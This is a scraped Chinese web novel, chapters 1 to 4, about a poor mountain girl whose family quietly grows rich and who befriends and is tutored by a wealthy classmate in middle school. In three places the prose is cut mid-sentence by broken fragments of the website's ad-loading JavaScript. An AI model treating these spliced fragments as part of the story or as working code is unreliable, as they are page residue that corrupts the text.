《分手费没我零花钱多?》 1. 拆迁 金欢喜要上初中的时候,她爹站在家门口的高坡上,遥遥望着远方,愁白了头。 “爹,你在看什么?” 小女娃抱住他的大腿,好奇地往远处看。 金大富搭着她的肩膀,蹲下身子,指着视线里小小的一团黑影。 “大喜,那就是城市,你长大了,要往那里去。” 城市? 金欢喜还没去过城市。 晚上睡觉的时候,爸爸会给她讲城市的故事,那里有十里飘香的酥饼,柔软甜美的糖果,还有数不清的钱。 金大富常说,只要有了钱,就能过好日子了。 “穷”这个字不能轻易形容金家,“很穷”倒是勉强可以。 金大富现在最发愁的事,就是家里没钱让金欢喜去上学。 金家向上数几十代,都是踏实本分的农民,一辈子都住在大山里头,只有三成左右的人去过城里,也不是为了享福,而是为了换肉吃。 到了金大富这一代,山里头几乎只剩下了他们这一户人家,剩下的一些人,是前两年说要来考察大山的队伍。 金大富也不是不想搬去城里,一直没离开主要有两个原因。一来,他们家没钱在城里买房,二来,这座山头是祖上传下来的唯一的东西,要是走了,连种地的地方都没了。 “老金,叹啥气?” 穿着工作服的中年男人从山下走了上来。 “齐叔叔!”小欢喜挣脱了爸爸的怀抱,屁颠屁颠地跑过去,抱着他的大腿,甜甜地叫唤。 “哎——欢喜也在啊。” 齐振业高兴到脸上都笑出了褶子,摸了摸她的头,从怀里掏出一颗糖,放在她的手心。 金大富睁大眼睛,瞪了一眼高兴得找不着北的金欢喜。 “大喜,这东西贵得很,不能收!” 小欢喜冲他吐了吐舌头,当着他的面吃了糖,又飞快逃离了犯罪现场。 一眨眼,穿着红衣裳的金欢喜就溜到了山下,像个飘动的塑料袋在山间飞舞。 “慢点诶——” 金大富朝山下喊了一声。 齐振业笑呵呵地站在他边上,看着金欢喜越跑越远。 “老金,你家这孩子,是不是要上初中了?” 金大富叹了口气,有些恍惚。 “是啊,大喜都要上初中了。” 事实上,金欢喜只在几公里外的小学读过两年。因为山路遥远,又被同学欺负,到了最后,她躺在地上撒泼打滚,就是不愿意去上学。 “愁钱?”齐振业顶了顶他的肩膀,打趣地问他。 没钱上学→种地→生孩子→没钱上学→种地…… 金大富已经厌倦了无止境的循环,他对着金欢喜发过誓,要带家里走出大山。 “是啊。” 金大富看着远方的城镇,流露出几分向往。 齐振业站累了,盘腿坐在地上,抬头问他。 “你和我见过的山里人都不太一样,他们都不会让女娃子上学。” 金大富气得发抖,以为他在骂他异想天开。 “你什么意思,我们家大喜聪明的很,要是有机会一定能走出去……要是有机会……” 他着了魔,声音有些哽咽。 他清楚得很,大喜虽然只上了两年学,走的时候,老师却觉得很可惜。因为那些老师都知道,以金家的条件,大喜再聪明,也没机会念完书。 “哎——”齐振业拉着他一块坐下,“老金,你先别急。我们认识这么久,我什么时候嘲笑过你,我也是看着欢喜长大的,怎么不心疼她。我问你,你想让欢喜去上学吗?” 庄稼汉子顺着他的力道坐下,坚定地点点头。 “想!” 齐振业哭笑不得地捂住耳朵,拍了拍他的背,笑骂:“想也不用这么大声。”他缓过劲,又问:“如果要你放弃这里呢?” “这里?放弃?”金大富呆呆地看着他。 齐振业张开双手,看着这片大山。 “放弃这片大山。” “不……不行!”金大富把头摇成了拨浪鼓。没了这片大山,金家连维持日常生活的钱都攒不出来。他们一家会饿死的! “想哪去了?”齐振业被他逗得直发笑,和他一五一十讲了个明白。 当地政府想要圈个地方建立私密实验室,齐振业是奉命带队来大山考察的考察队队长。其实他考察的不止这么一个地方,但是最后观察发现,还是金家这座山的地理位置好,建实验室也方便。 “关于这座山的地理资料我已经发给实验室的负责人看过,他非常满意。相关领导也给我下了命令,要是你同意搬走,就给你这个数。”齐振业四处望了望,在他耳边小声说了个数字。 “这……这么多?”光是听这个数字,金大富就快要激动地晕倒了。 齐振业摆摆手,不以为然。 “先不说你在这山上开了不少田,但看这山多大,这个数只能说是双赢。” 金大富犹豫了会儿,问:“那我们住哪?”要带着这笔钱去城里租房子吗? 齐振业脸上的笑意散去,叹了口气。 “老金,我也给你们争取过了,城里的房子批不下来,给你们安排了村里的房子。你也别介意,指不定以后村里的房子更值钱呢。” 村里的房子? 金大富可不在意这个,毕竟他们家都是住山里的,再差还能比山里差? “怎么样,你要不要同意拆迁?要是同意,我打报告上去,没几天就给你批下来。你答应了,也算是帮了我的忙。”齐振业不再兜圈子,开门见山地问他。 “行。”金大富狠下心,一咬牙,答应了。 没几天后,金家一行人就搬进了“富贵村”。 “你们家是拆迁来的吧。”村长站在村口,笑眯眯地迎接他们。 金大富把老婆孩子护在身后,脸上写满了憨厚。 “是,领导说给我们安排住村里。”至于那些钱,他想到齐振业的叮嘱,一个字也没说。 匹夫无罪,怀璧其罪。 齐振业的话文绉绉的,金大富是一个字都听不明白,但好歹记住了一句话——财不外露。 村长半信半疑地看了他一眼,也没为难他们,走了流程,金家的户籍正式转移到了富贵村。 半夜。 小欢喜上厕所回来看见她妈在和她爸说悄悄话,但她太困了,摸着墙回屋睡着了。 没钱的时候,金大富愁。有了钱,金大富还是愁。 “这么多钱,要是被偷了怎么办?” 坐在他对面的陈宝珠看了看 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 自己发愁的男人,拍板:“留着这钱也是坐吃山空,索性都撒出去。” “坐吃山空?你从哪学来的?”金大富被自己老婆突飞猛进的文化水平震惊了。 陈宝珠甩了甩自己的长发,轻蔑地看了他一眼:“叫你平日里多和老齐学学,我跟他老婆学的。” 被看扁的金大富磨了磨牙,只能承认自己是个小废物。 “那你说,怎么撒出去?” 陈宝珠也发愁,不过两人对视一眼,同时想到了一个人。 这个人就是程书杰。 金欢喜刚出生的时候,身子骨并不算好,连带着陈宝珠也憔悴,金大富为了给她们娘俩买点补品补身子,特地进了一趟城里。也是在那一天,他遇到了失足落水的程书杰。 看着在水里扑腾的少年,金大富想到刚出生的女儿,认为这是上天对自己的考验,奋不顾身地跳入水中救了他。或许是做了好事的福报,金欢喜的身体也真的好了起来。 程书杰在城里上学,是个知恩图报的好孩子,每年都抽空到山里来看他们,一来二去,就认了金大富做干爹,教小欢喜读书写字。连欢喜这个名字,都是金大富在程书杰爸爸的建议下取的,不然金欢喜就该被叫做金大喜了。要不说程家是书香门第呢。 “投资?” 程书杰没想到,自己才刚毕业,就被干爹干妈带着岗位找上了门。金家还发生了一件天大的好事,这么多年,一家子终于搬离了大山。 金大富搓了搓手,斟酌着开口:“小杰,你知道我和你干妈都不认识字,投资就更不可能懂了。你就帮我们操作一下,要投哪个我们说,亏了我们担,赚了就分你。”他也清楚程书杰读书不易,越说越小声。 金大富磕磕绊绊地说完,程书杰不知道他从哪里学来的话术,当即笑出了声。 “既然干爹这么说了,我就来当干爹的助理。” 程书杰为了报恩放弃了到手的工作,也没指望从金大富身上分到钱。心想,只要夫妇俩看清投资的本质,就会放弃投资,做别的生意了,他的专业抢手,也不怕没人招他。 但意外总是来得猝不及防。 金大富身上或许真是有什么福运在身,程书杰根据他和陈宝珠说的几个产业进行投资,分明是竹筒撒豆子,乱投一通,结果夫妇俩说的产业一个比一个投资回报多。 阴差阳错之下,金家的投资遍地开花,到了金欢喜上高中的时候,程书杰已经挣到了自己原本二十多年都挣不到的钱。 当年金大富许下的豪言壮志,竟然一语成谶。 金家一跃成了全村首富。金大富一拍板,开了公司,让程书杰代为运营。他还是那个文盲,虽然知道自己有了钱,却不明白自己多有钱,还是穿以前的衣服,过以前的日子,连带着他的宝贝女儿,也过着一样的日子。为了从根本上改变命运,金大富索性和陈宝珠一起开始上课学习。 在金家蒸蒸日上的时候,有一个人被全程蒙在鼓里,这个人就是金欢喜。 彼时,刚刚上初中的金欢喜,见到了未曾见过的明月。 而她爹此时大手笔的投资,使金家的资产又回到了最初的水平。 穷人是否能够抓住天边的明月? 因为贫穷、自卑、向往,一场维持数年的暗恋,悄无声息地埋下了种子。 2. 天边明月 “叮铃~叮铃~叮铃~” 金欢喜骑着吱吱呀呀的单车,在家门口停下。 家里没人,最近爸妈总是神出鬼没,听说都是去找小程哥哥了。 难道,小程哥哥其实是我亲哥? 金欢喜没忍住幻想了一下。 “大喜,你回来啦!”她爹远远地从村口跑了过来。 金欢喜翻身下车,勾了勾自行车的车链子。 “爹,车链子又坏了。” 金大富缓了口气,蹲下身看,用手一勾,车链子就和齿轮严丝合缝地合上了。 “厉害!爹太厉害了!”金欢喜拍了拍手,毫不吝啬她的夸赞。 金大富用衣袖擦了擦额头的汗,心里已经把卖车的二手店骂了个痛快。 因为拆迁得了钱,金大富寻思着让大喜上学少走点路,就花了大价钱从二手店买了这辆自行车。一手的买不到,二手的看他是个乡下汉子,卖给了他一辆破车。 不过自行车到底是个稀罕货,富贵村的村民都赶着来围观,村长也特意过来看。 金大富脑子一抽,怕他们知道自己得了不菲的拆迁款,就说了胡话。 “这是从垃圾场里捡来的。” 邻里都信了,老村长笑眯眯地看着他,也没拆穿。 他那傻孩子更是信了十成十,也不嫌弃自行车简陋,心疼她爹他从垃圾场捡东西,对自行车宝贝得不行。 这年头,哪有人会把坏的自行车扔垃圾场里?也就没见过世面的乡里人会信。不过,金大富倒也庆幸,至少女儿不会因此觉得他眼光不行了。 天杀的二手店,迟早有一天把你干倒闭!他又恶狠狠地磨了磨牙。 “大喜,明天就要去上学了,开不开心。”金大富伸手抱起女儿,带着她在高处转了一圈。 金欢喜乐得打鸣,张开双手:“开心开心!” 她当初也不是厌学,只是有个不好的出生,又恰好碰到了不好的人,才受到了不该的欺负。 金大富眼角泛起泪花,连忙放下女儿,掩盖自己的失态。 “既然要上学了,爹教你修车,到时候链子掉了,你也不用推着车走回来。”富贵村边上没有好的初中,他给大喜报了城里的初中,想着给大喜打好基础,却没想过大喜要走好远的路,骑上单车就快得多,他也放心。 他也想过在镇里买房,先不说有没有资格买,钱已经快投资完了,真买了房,自己没权没势,要是被人恶意勒索,听齐振业说,丢了房都是轻的。 人啊,要活的痛快,就要往上走。 金欢喜在他旁边蹲下,小小一只。 金大富指着链子,一点一点说起来,就这样,父女俩边学边玩了一下午。 在金大富的担忧中,时间很快来到了第二天,金欢喜正式上初中了。 “爹,我走啦!” 等金大富套了衣服跑出来,金欢喜已经骑着单车离开了,金大富再怎么努力张望,都只能看见一个遥远的小点。 “哎!这孩子,一声不吭起这么早,都不知道吃早饭没有。” 听了他的抱怨,睡得迷迷糊糊的陈宝珠醒了,摆了摆手:“你睡得倒是香,大喜昨晚让我做了面饼子,早上肯定是吃了面饼子才走的。” 金大富什么也听不进去,坐在凳子上发愁。 “不知道这初中里的娃会不会欺负大喜。” 这下陈宝珠彻底醒过来了,她一合掌,懊恼不已。 “忘了叫大喜换新衣服,她肯定又穿旧衣服去了!” “这有什么?旧衣服舒服。”金大富坐回床边,不在意地回答。 陈宝珠“啪”的一声打在他的背上,疼的他龇牙咧嘴。 “你以为这是山里,镇里那些小孩都穿的好,就我们大喜穿的差,不得被欺负!而且这初中是规定了穿校服的,你付的钱,倒是忘了个干净!大喜这回去,跟大家穿的都不一样。”与众不同,最是容易被孤立。 金大富恍然大悟,也跟着开始担心。 此时,金欢喜还哼着调子在去上学的路上,不知道她爸妈为了她在家里直发愁。 “欢喜!”她的班主任陈钟灵站在校门口,拦住了她。 前天金大富带着她来认过路,也交了钱、领了书,除了同班同学,每个老师金欢喜都见过,自然是认得的。 “陈老师。”金欢喜惊喜地喊了一声,放慢车速,稳稳当当地停在了她身边。 陈钟灵哭笑不得地揪住了她的衣服。 “怎么没穿校服来?” 金欢喜这才发现,自己身上穿的是好几年前的衣服,上面还打了几个补丁。 她一下子就涨红了脸,猛地低下头,小声道。 “忘了。” 昨天和爸爸玩了一天单车,金欢喜早忘了校服这回事了,陈宝珠昨晚把东西放在她床头的时候,她还在陪她爹玩举高高,更是没留意。 陈钟灵摸了摸她的头,温柔地安慰她。 “明天记得穿,进去吧,校内不能骑车,得下来走着推进去。停车点还记得吗?” 金欢喜长舒了一口气,点了点头,听话地下车,还没进校门,身后就传来汽车的刹车声。 汽车。 金欢喜听金大富说过,这东西在镇里都是稀罕货,有钱都买不到。 她好奇地回过头,正对上那双干净的眸子。 从车后座下来的少女,穿着整洁的校服,在初升的日光下,隐隐披上一层金光,白的发亮。 金欢喜想不到任何形容词,硬要说的话,就是明月吧。 很美,也很远。 但是!金欢喜两眼放光,蠢蠢欲动——好想和她做朋友啊! 少女似乎已经习惯了被人注视,告别了司机,只瞥了她一眼,便从她身侧走过。 陈钟灵拍了拍金欢喜的肩膀,顺着她的视线看向她紧盯着的人。 “她是付子衿,也是我们班的。” 付子衿。 金欢喜不知道这几个读音究竟对应的是哪几个字,只是自然而然地联想到程书杰教过她的《短歌行》——青青子衿,悠悠我心。但为君故,沉吟至今。 她似乎找到了和她说话的理由,一下子来了精神,告别陈钟灵后快步走上前,跟在了付子衿的身后。 “叮铃~叮铃~叮铃。” 金大富“捡”的破旧二手车叫的正欢。 又走了几步,前头的付子衿停下了脚步。 金欢喜差点一头撞在她背上。 “有事?” 她转过头,视线自然地从下往上,扫过她的旧衣,落在她的眼睛上。 金欢喜下意识挺直了腰背:“你好,我是金欢喜,金子的金,喜欢的欢,喜欢的喜。” 付子衿没说话。显然,她的答非所问没能让她满意。 金欢喜紧张地抠了抠车把手,又讷讷地张口。 “陈老师说我们一个班,啊——就是陈钟灵老师。”她本还想跟她聊聊曹操的《短歌行》,问问她的名字,这会儿倒是说不出话了。 付子衿愣了一下,视线从她的肩膀上方穿过,果然看见了校门口望过来的陈钟灵。 她没再紧绷着身子,语气也缓和了一些。 “嗯,我看见了。不过……自行车不是在这里停的。” 金欢喜跟了她一路,早已经路过了校内规定的自行车停车位。 金欢喜后知后觉地意识到了自己的鲁莽。她连忙鞠躬道歉:“不好意思,不好意思,我去停车。”因为过于尴尬,她窘迫得都无法说出让对方等她一会儿的请求。 在她转身回去的时候,付子衿却突然开口。 “我在这里等你。” 金欢喜:? 她愣住了。 付子衿的手紧紧捏着书包的背带,她的视线飘忽不定。 “你不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是这个意思吗?” “好!” 大声的回答,甚至吸引了陈钟灵的目光。 金欢喜同手同脚地离开了。 付子衿站在原地,还没休息多久,就看到她跑了过来。 “久等了!” 她笑起来,像是刚好升起的太阳。 我们一定会成为好朋友。 两人对视一眼,不约而同地想到。 …… “好,同学们,大家好,我是陈钟灵。大家应该都见过我了,这三年就由我来做大家的班主任。请大家多多关照。”陈钟灵试图拍掌吸引大家的注意力,但这个班的视线,都集中在了教室的中央。 坐在中央的是付子衿和金欢喜。 吸引大家视线的是金欢喜那件打了补丁的衣服。 在陈钟灵从校门口回来前,穿着旧衣服的金欢喜成了名人,关于金欢喜的信息已经在教室里传了个遍,传出消息的自然就是和金欢喜曾经上过同一个小学的同学。 于是同学们东拼西凑,拼凑出了一个传言中的金欢喜: 金欢喜家以前住在山里,每天摘野菜野果吃。后来有人到山里,给了金欢喜家一套村里的房子,让他们搬出了山里,现在金欢喜的爸爸妈妈也每天不在家,金欢喜都是一个人自立自强地生活。 总结:金欢喜是个可怜的孩子。 当然,也有人提出异议。 “金欢喜家要是真的穷,怎么会有钱买自行车。” “是啊是啊,我亲眼看着金欢喜骑单车来的。” 富贵村的小孩跳出来。 “你们不知道,那辆车是金欢喜爸爸在垃圾场里捡的!” 这话一出,全场寂静,大家都用复杂的目光看着金欢喜。 当事人觉得十分离谱。 住在山里的时候,家里偶尔也会吃点肉,至于野菜野果,确实吃过,不过是图个新鲜。金大富自身种地,还需要采野菜吃?此外,金大富和陈宝珠不在家也是因为去找程书杰,真不是丢下她不管了! 任凭金欢喜如何争论,大家都还是用“同情”的目光看着她。 金欢喜还没学会“三人成虎”这个成语,就早早体会到了这个成语的威力。 付子衿在边上听了个全,开始半信半疑,奈何证人证据实在太多,最后她对金欢喜的印象也定了型。 一个字,穷。 这其实也不算误解。现在的金欢喜家,确实是拿不出多少钱的,毕竟都被金大富拿去投资了。金欢喜也不知道自家有过一大笔钱,自己的爸爸妈妈更是偷偷摸摸藏了一笔钱以防万一。 在这诡异的注视下,将金欢喜拯救于水火之中的是赶来的陈钟灵。 陈钟灵又咳嗽了几声,总算让学生们把目光聚集在了她身上。 “今天是大家第一次见面,就先做个简单的自我介绍吧。” 除了几个害羞到结巴的同学,大部分人都好好地做了自我介绍。 “嗯——我是金欢喜,金色的金,欢快的欢,喜悦的喜。兴趣爱好是骑车。”金欢喜站在讲台上,还没讲完,就听到台下激烈的掌声。 金欢喜:…… 她感到大脑一片空白,也不知道又说了什么,逃回了座位。 付子衿慢悠悠地走上讲台。 “付子衿,青青子衿,爱好,钢琴。” “哇——” 台下发出惊叹声。 这个年头,家里有钢琴和会弹钢琴都是十分稀有的。 别的不说,付子衿家定然不是普通人家。 金欢喜似乎还听见有人问付子衿能不能听她弹钢琴。 “有机会的话。” 付子衿颔首,婉拒了。 最终,在班级同学的投票下,付子衿成为了班长,由全程懵逼的金欢喜作为副班长辅佐。 金欢喜:啊?副班长是什么很贱的职位吗?都不需要竞争? 3. 纸条 “既然已经确定好了班级干部,我也有一件事要通知大家。”陈钟灵站在讲台上,看着骚动的学生们,成为了压垮学生们的最后一根稻草,“有些同学或许也听说了,明天要进行摸底考试。” 谁听说了? 我怎么没听说? 欢喜对自己的知识水平心知肚明。只读了两年就休学的含金量,不是一般人可以超越的。那这倒数第一?岂不是信手拈来? 自我调侃后,便是无法克制的紧张感。 “在想什么?” 付子衿听见摸底考试的消息似乎并不意外,金欢喜打赌,她就是那个知道有摸底考试的人! “在想考试。”她诚实地回答。 付子衿摸了摸崭新的课本,朝她笑了笑:“有多少积累就有多少收获,别紧张。” 没多少积累的金欢喜:谢谢你,我更紧张了。 她后知后觉地发现了一个怪事——她的小学同学们竟然没提她只读了两年的事? 金欢喜不觉得他们有这么好心,尤其里面还有几个曾经对她落井下石的人。 果然,真相很快水落石出。 纵使金欢喜在回家后抱着书本努力学习了一番,也无法在一夜间追上别人多了四年的进度。她也明悟——自己并非可遇不可求的天才,只是在大山里相对聪明的小孩。 100分。 乍一看,这个分数十分耀眼。 毕竟满分只有100,但,这是金欢喜在语数英三科上的总分。 50分的语文,40分的数学,和10分的英语,她移开视线,看向同桌的试卷。 99,100,100。 当差距犹如鸿沟一样难以跨越的时候,自卑就会如影随形。 在付子衿看过来的那一刻,金欢喜故作随意地用手盖住了分数。 她转回去,什么也没问。 她抿着唇,什么也没说。 “欢喜,放学后方便来一下办公室吗?” 陈钟灵讲完了英语卷子,趁着下课的人声嘈杂,在她身边小声道。 金欢喜点了点头。 她有些不知所措。 为预料之中的分数,为陈钟灵意外的温柔,为全程看见这一幕的付子衿。 少女的自尊心摇摇欲坠,索性有师长和同桌的体贴,没因此轻易碎裂。 得到肯定的答复,陈钟灵也离开了教室。老师一走,有些人就开始按捺不住比较的心思。 “康诚!你数学只考了20!哈哈哈哈哈。” “我……” “嘿嘿,我数学考了90!你英语呢?我看看。啊——只有30分啊——”他拉长了语调。 被几个男生包围的矮个小男生羞愤地涨红了脸,在教室里张望起来。 即便心中慌乱,他还是下意识找到了适合的人——金欢喜。 他和她曾是小学同学。金欢喜只读到了二年级,根本没学过英语,家里也没条件补习,康诚敢肯定——她肯定考得比自己差! “金欢喜英语肯定考得比我更差!” 一片寂静。 教室里只剩下了他不甘的嘶吼。 所有好奇的打量都汇集在少女的背影上。 她今天穿了校服,坐在第二排,没有回头。 原本开口打趣康诚的男生也怔住了,他推了推康诚的肩膀,撂下一句“对不起”,急匆匆地跑回了座位。 这些调侃康诚的人大都和金欢喜上过同一个小学。别人可能不太清楚金欢喜的过去,他们却清楚得很。金欢喜当年是被欺负休的学,只读了两年书,就算她之后没再读,她那两年次次满分的成绩也给他们留下了深刻的印象。 她不是考不了高分。 金欢喜没反应,大家又都看向康诚。 康诚先是呆站在原地,而后又像是回了魂,低着头走回了座位。 见他没反应,他的同桌顶了顶他的胳膊,小声提醒:“你去和人家道个歉啊。” 康诚低着头,闷闷道:“我说的都是实话。” “那你也不能这样说啊。” “她还是副班长呢,成绩不好,我没说错!” “你……” “叮铃铃——” 同桌还想再说,却被上课铃声打断了。 知道金欢喜过去的只有少部分人,他们不说,大部分人会理所当然地认为金欢喜并不聪明。 这个道理,那几个男生明白,康诚自然也明白。 但付子衿想不明白。 她看了眼沉默的金欢喜,在草稿纸上无意识地写了几遍自己的名字。 “这节是数学课。” 发呆中,她看到旁边的桌面,一下子回过神,平静地开口。 数学老师就站在边上,金欢喜都没时间进一步悲春伤秋,忙不迭从桌肚子里掏出整洁的数学试卷。 数学老师揉了揉鼻尖,先是道歉。 “这次的数学卷子我出得比较难,有些题呢和还没学的知识挂钩,所以同学们千万不要气馁,不及格也是正常的。” 金欢喜稍稍松了口气。 数学老师又激动道:“不过我没想到!我们班竟然有同学提前预习了课程,还自学得非常不错!这位同学就是付子衿。大家鼓掌!” 他用力鼓掌,连带着金欢喜也激动地拍了拍手。 班级的掌声逐渐消失,到了最后,就剩数学老师和金欢喜你拍一下我拍一下。 教数学的吴华森也懵了。 你是老师我是老师?怎么一个劲鼓掌不带停的? 吴华森其实原本是在高中教学的知名教师,他选择打申请转来这所初中是有考究的。早年他家境贫寒,曾经被付家资助读书,因此一听付家大小姐在这上学,就想着过来教书还付家一点恩情。 不过——欢喜,你咋比我还会拍马屁? 吴华森瞅了一眼金欢喜,哭笑不得。 付子衿什么场面没见过? 这场面她真没见过。 她拉了拉金欢喜的袖子,还没开口,金欢喜就停下了,朝她歉意地笑了笑。 “对不起,我刚刚走神了。” 金欢喜看不到自己的未来。 康诚的话是真的,她确实考得很差。 她一股脑儿地和自己钻牛角尖,像被困在走不出去的迷宫,只能做个无头苍蝇,四处挣扎。刚才一个劲地鼓掌,也是在发呆。 金欢喜一停下,吴华森也得以解放,能够顺利地开展课程。 他敲了敲金欢喜的桌子,提醒她。 “别开小差。” 办公室里的几个老师对各个学生的情况都有所了解,其中最为特别的就是金欢喜。 小学只上过两年,曾被欺负。 放在哪个学校,都会成为重点观察对象。 吴华森特意看过金欢喜的试卷,他觉得金欢喜很有天赋,数学上的天赋,学过的都会做,没学的能有思路,难道不是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 个好苗子? 当然,他也并不觉得金欢喜会止步于此,只要认真学,金欢喜迟早有一天能去参加相关的竞赛。到时候要是拿了竞赛奖金,还能减轻家庭负担。 因着一点爱才的私心,吴华森就多关注了她一点。 被监督的金欢喜挺直了腰背,将复杂的心绪尽数收敛,认真听起了课。 到了下课的时候,吴华森走了,付子衿从桌上推过来一张纸条。 要不要我给你补习? 金欢喜下意识捏紧了纸条。 同情? 她拿着笔,写下了回复,把纸张折好传了回去。 付子衿慢慢展开纸条。 略微有些褶皱的纸条上,写着三个大字。 好,谢谢! 下面还画了一个笑脸。 付子衿又看了一眼笑脸,折好纸条,放进了文具盒里。 …… “欢喜,有学过英语相关的东西吗?”陈钟灵拿着英语书晃了晃。 一旁的金欢喜坐得板正,诚恳地回答:“哥哥教过一些读音,没学过单词。” 陈钟灵揉了揉太阳穴,倒是想到了一个好法子:“既然这样,那自习课你就过来跟我学英语,把之前的基础补上。我也问过杨老师和吴老师,杨老师说了,你就是错字多,回答思路不错,作文呢,太短了。她预计下回你能考八十以上。吴老师呢,他其实蛮喜欢你的。” 听见意外的话,金欢喜受宠若惊。 “他觉得你就是基础没跟上,数学的话,也自习课补。你也不要怕,基础打好,进步就快,放宽心。” 陈钟灵一锤定音,金欢喜点点头,表示明白。 本以为谈心就此结束,陈钟灵却话锋一转,聊起了康诚的事。 “我听说今天有同学说你考得差,你千万不要放在心上。” 被戳中心事,金欢喜勉强保持着笑脸,摇了摇头。 “我没在意。” 此乃谎言。 她在意的要死! 好在陈钟灵也没把她的话当真,拍了拍她的肩膀。 “没有一个学生是考不好的,当你觉得自己考不好的时候,就永远考不好了。老师以前有个同学,一个月学完了三年的高中课程。你可能以为,哇,这不是天才吗?其实不是。老师亲眼看着她每天就睡两三个小时,四处问问题找思路。当然,我并不提倡这种行为。” 这话就是纯粹的鸡汤了。陈钟灵清楚,那个同学的成功除了努力,还离不开“开窍”。她那一个月如有神助,豁然开朗,学什么都快。不过,真相是不能告诉学生的。指不定欢喜也突然开窍了呢? 金欢喜小鸡啄米似的点点头,显然已经喝下了她这碗鸡汤,陈钟灵一挥手,让她走了。 等回了教室,金欢喜才发现付子衿还没走。 看见她回来,付子衿合上了课本。 “明天开始,放学留下来补习一小时。” “好的。” 听到回复,付子衿背起书包就走了出去,只剩金欢喜站在原地。 嗯?只是为了说这句话吗? 她觉得付子衿好像自己的老师。 在心里吐槽完,她连忙背上背包追了上去。 推着单车到门口的时候,付子衿竟然还没走,她嘿嘿一笑,正要超过付老师,却见她招了招手。 “链子掉了。” 金欢喜低头一看,还真是。再一抬头,付子衿已经上车了。 4. 努力与失意 如果你要问金欢喜的努力是否得到了回报,那我会告诉你,得到了。 学习过程中,金欢喜除了要重修自己的语数英,还要追上科学、历史与社会、道德与法治三门新课的进度。 在初三的时候,金欢喜终于提升到了中上游的不稳定水平。 为什么说是不稳定呢? 金欢喜能把数学考到满分,甚至作文写得好的时候也能拿到语文的满分,但她的英语却一塌糊涂。 “我明明不是英国人,为什么要学英语!” 任凭金欢喜抱着书本怎么哀嚎,付子衿还是一脸冷淡。 “过来,听写。” “付老师,今天能不能不听写?”她抱着付子衿的胳膊,苦苦哀求。 没有人能够接受每天听写!没有! “不行。” 一如既往的冷漠与简洁。 “第一个单词……” 初中三年,已经马上就要毕业了。金欢喜在所有老师那都留下了一个好印象,当然,除了和她相爱相杀的陈钟灵,不过陈钟灵对她也算满意。但在她的付老师眼里,却总是不及格。 “你可以做得更好。” 平日里,付子衿把教导她当作复习,到了考场,就会狠狠碾压她,让她知道天外有天,人外有人,一山还比一山高。 金欢喜扪心自问,在被付子衿教导的过程中,确实产生过崇拜,但很快被付子衿的严格打破了滤镜。 硬要说的话,付子衿就像她妈陈宝珠一样,像个望女成凤的魔怔家长。 “学不动了——” 听写完成,她趴在桌上,像一条快要窒息的鱼。如果可以,她希望自己是一条咸鱼。 付子衿批改着单词和语句,冷笑一声,一掌拍在她背上。 “说好了要考一个高中。” 付子衿的目标是一中。 三年前,金欢喜觉得那好遥远,到了现在,却变得触手可及。 “好!满血复活!”她用力拍拍自己的脸,清醒了一些,开始刷英语真题。 “还在刷题?” 已经下班的陈钟灵从教室前面走了进来,她今天穿的也很时尚,一条蓝色的针织衫,配上卡其色的长裙。按金欢喜的话说,学校里每个英语老师的穿搭都是潮流。 “一点点了。”金欢喜比了个手势,双目呆滞。 “哈哈哈。”陈钟灵捏了捏她的小脸,“好好加油吧,欢喜同志。” “yes,sir.”金欢喜敬了个礼,继续刷题。 “记得早点回家。”陈钟灵看了看付子衿。 付子衿微微颔首,陈钟灵放心地走了。 “大喜,做快点。”看了看时钟,付子衿用手敲了敲桌。 奋笔疾书的金欢喜两眼一黑,差点晕厥。 “付老师,求求你,能不能不要叫我的小名。” 自从金大富在家长会上喊了她一声大喜,全班都知道了她的小名叫大喜。 大喜过望,大喜临门,大喜大悲……除了这些突然频繁出现的成语,还有他们不自觉哼唱的《大喜》,金欢喜羞愤欲绝,单方面表示孤立他们。 “那你求吧。”付子衿开始收拾书包,漫不经心地回复。 可恶! 知道她这是拒绝,金欢喜只能假装凶狠地磨了磨后槽牙。 “做。” 言简意赅。 “嗯。” 唯命是从。 奋战二十分钟,金欢喜交上了答卷。 付子衿花了五分钟批改,难得点了点头:“不错。” “感谢领导栽培,都是领导栽培的好。”金欢喜挠了挠头。 付总点点头。 “再接再厉,戒骄戒躁。” 就这样,伴随着日复一日的补习和小型表演,金欢喜在情景演绎突飞猛进的同时,也把英语稳定在了优秀线。 时间如同白驹过隙,一晃眼,就到了毕业考的日子。 “大喜!大喜!起来没?” 陈宝珠敲着金欢喜的房门,没听到一点声响。她推门一看,才发现这孩子蒙在被子里,出了一身汗,再一摸额头,热乎得很。 “大富!大富!” 听到叫唤,金大富从门缝里探出头:“怎么了?大喜没起来?” 陈宝珠急得团团转:“发烧了!今天是最后一天考试,这咋办?” 金大富一拍脑门,也慌了神,问她:“大喜醒来没有?” 金欢喜迷迷糊糊睁开眼,有气无力地问她妈:“怎么了?” 陈宝珠扶着她坐起身,一脸担忧:“大喜,你发烧了,我们得去医院。”要不她怎么觉得半夜心慌呢,原来是大喜生病了! 金欢喜早年就体弱多病,夫妇俩这回都害怕得不行。 靠在床头的金欢喜呼吸了两口新鲜空气,倒是清醒了不少,她冷静地回答:“我感觉还好。” 陈宝珠再一摸,温度确实降下来了点儿,刚才那么烫,应该是金欢喜蒙在被子里太闷,捂热的。 “还是去医院吧。”她到底还是担心。 金欢喜摆摆手:“没事,马上考试了,到时候考完就去,来得及。”反正最后一门了,考完心里还轻松点。 见她坚持,陈宝珠只能依着她,让金大富送她去考试。 好在金欢喜吃了早饭后,脸色就没那么红润了,精神气更是好了不少。 等金大富送金欢喜到了校门口,还特意叮嘱了几句。 “要是不舒服立刻告诉陈老师,让老师带你去医院,我们马上赶过来。” 金欢喜慢吞吞地点了点头,转身走向学校。 金大富鼻头一酸,不明白是不是自己给了女儿太多压力。他原本要回家,想到欢喜可能要去医院,又守在了学校外边。 等金欢喜走到班里,脚步还是有些飘着的状态。 毕业考试在不同考场,她昨天把准考证放桌肚里了,得先来拿一下。 “欢喜?” 没曾想正撞上走出教室的付子衿。 付子衿教导她那么久,金欢喜不想让她担心,本能地低了低头,试图掩盖自己不正常的脸色。 却被付子衿一眼识破。 一只微凉的手覆盖在了额头上。 “发烧了?” “问题不大。” 